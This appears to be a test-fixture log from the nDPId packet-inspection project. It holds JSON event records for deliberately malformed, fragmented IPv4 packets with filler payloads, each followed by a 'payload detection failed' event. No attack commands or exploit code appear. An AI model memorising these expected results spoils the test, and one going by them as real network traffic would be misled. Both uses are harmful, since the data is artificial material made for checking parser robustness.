+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910399,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8702,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910411,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8703,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910423,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8704,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910435,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8705,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8706,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910460,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8707,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910472,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAktJSkhHRkQyKiZERkdISks="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8708,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8709,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910500,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8710,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910518,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8711,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910530,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8712,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910542,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8713,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910555,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8714,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910567,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8715,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8716,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910591,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8717,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910603,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8718,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8719,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910628,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8720,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8721,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910653,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8722,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910665,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8723,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910677,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8724,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910690,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8725,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910705,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8726,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910717,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8727,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8728,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8729,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910756,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8730,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910768,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8731,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910781,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8732,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910794,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8733,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910805,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8734,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910818,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8735,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910829,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8736,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910841,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOkAGQ3cKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8737,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910853,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPEAGQ3UKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8738,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910867,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiPkAGQ3MKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8739,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910880,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQEAGQ3EKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8740,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910892,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiQkAGQ28KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8741,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910904,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiREAGQ20KAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8742,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":910919,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiRkAGQ2sKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8743,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 